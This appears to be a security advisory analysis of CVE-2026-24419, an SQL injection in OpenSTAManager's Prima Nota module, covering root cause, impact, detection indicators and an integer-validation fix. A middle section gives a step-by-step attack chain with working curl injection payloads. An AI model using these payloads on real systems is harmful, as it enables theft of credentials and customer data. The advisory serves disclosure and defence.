CVE-2026-24419: 
PHP vulnerability analysis and mitigation

CVE-2026-24419 is an error-based SQL injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager, an open source management platform for technical assistance and invoicing. The flaw affects OpenSTAManager v2.9.8 and all earlier versions, targeting the add.php file's handling of the id_documenti GET parameter. It was discovered by Łukasz Rybak, published on February 6, 2026, and confirmed on a live v2.9.8 instance. The vulnerability carries a CVSS v3.1 score of 6.5 (Medium) and a CVSS v4.0 score of 8.7 (High) (GitHub Advisory, OSM Advisory).

The root cause is CWE-89 (Improper Neutralization of Special Elements used in an SQL Command). In add.php (lines 63–67), the application retrieves the id_documenti GET parameter via get('id_documenti') and splits it with explode(',', (string) $id_documenti) without validating that each element is an integer. At line 306, the resulting array is directly concatenated into a SQL IN() clause using implode(',', $id_documenti) without parameterized queries or type enforcement, enabling injection. An attacker can craft a payload such as ?id_documenti=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT ...)))%23 to trigger XPATH error messages that leak database contents (OSM Advisory, GitHub Advisory).

Successful exploitation allows authenticated attackers with access to the Prima Nota module to extract the complete database contents, including user credentials, customer personally identifiable information (PII), and financial records, through XML/XPATH error messages returned in HTTP responses. The CVSS v4.0 scoring reflects high confidentiality, integrity, and availability impact on the vulnerable system. While exploitation requires low-level authenticated access, the breadth of data exposed — including credentials — creates a significant risk of privilege escalation and lateral movement within the application (OSM Advisory, GitHub Advisory).

A proof-of-concept (PoC) exploit is publicly available in the GitHub security advisory, demonstrating extraction of database user and version information via curl commands. The EPSS score is approximately 0.015% (3rd percentile), indicating a currently low probability of widespread exploitation within 30 days. There is no evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No specific threat actor attribution has been reported (GitHub Advisory, OSM Advisory).

1. Reconnaissance: Identify internet-facing OpenSTAManager instances running v2.9.8 or earlier using search engines (e.g., Shodan, Censys) or by checking the application's version disclosure on the login page.
2. Obtain credentials: Acquire valid low-privileged credentials for the OpenSTAManager instance (e.g., through phishing, credential stuffing, or use of default credentials).
3. Authenticate: Log in and obtain a session cookie:

   curl -c /tmp/cookies.txt -X POST 'http://TARGET/index.php?op=login' -d 'username=USER&password=PASS'

4. Craft injection payload: Construct an error-based SQL injection payload targeting the id_documenti GET parameter, using EXTRACTVALUE() with CONCAT() to leak data via XPATH error messages.
5. Send malicious request: Submit the crafted request to the vulnerable endpoint:

   curl -b /tmp/cookies.txt "http://TARGET/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"

6. Extract data: Observe the XPATH syntax error in the response (e.g., SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~osm@172.18.0.3 | 8.3.0') and iterate payloads to dump tables, credentials, and PII from the database (OSM Advisory, GitHub Advisory).

• Network: Unusual GET requests to /modules/primanota/add.php containing URL-encoded SQL keywords such as EXTRACTVALUE, CONCAT, SELECT, UNION, or %23 (URL-encoded #) in the id_documenti parameter; repeated requests to this endpoint from a single IP in a short timeframe.
• Logs: Web server access logs showing requests to /modules/primanota/add.php?id_documenti= with non-integer, comma-separated values or SQL fragments; application error logs containing SQLSTATE[HY000]: General error: 1105 XPATH syntax error messages with data prefixed by ~.
• Application: Database query logs showing SELECT idanagrafica FROM co_documenti WHERE id IN(...) queries with injected SQL expressions rather than plain integers.

As of the advisory publication date, no patched version of OpenSTAManager has been released (the advisory lists "None" for patched versions). The recommended fix is to apply integer type validation in add.php immediately after splitting the id_documenti parameter:

$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0);

Additionally, administrators should restrict access to the Prima Nota module to only authorized users, implement a web application firewall (WAF) rule to block SQL injection patterns in GET parameters, and monitor database and application logs for anomalous query patterns pending an official patch release (OSM Advisory, GitHub Advisory).

The vulnerability was reported by security researcher Łukasz Rybak and published via GitHub's security advisory system on February 6, 2026. A technical write-up was published at infinitsec.net shortly after disclosure, and the advisory was indexed by multiple vulnerability tracking platforms including VulDB, vulners.com, and GitLab's advisory database. No significant vendor statement beyond the advisory itself or notable social media discussion has been identified at this time (OSM Advisory).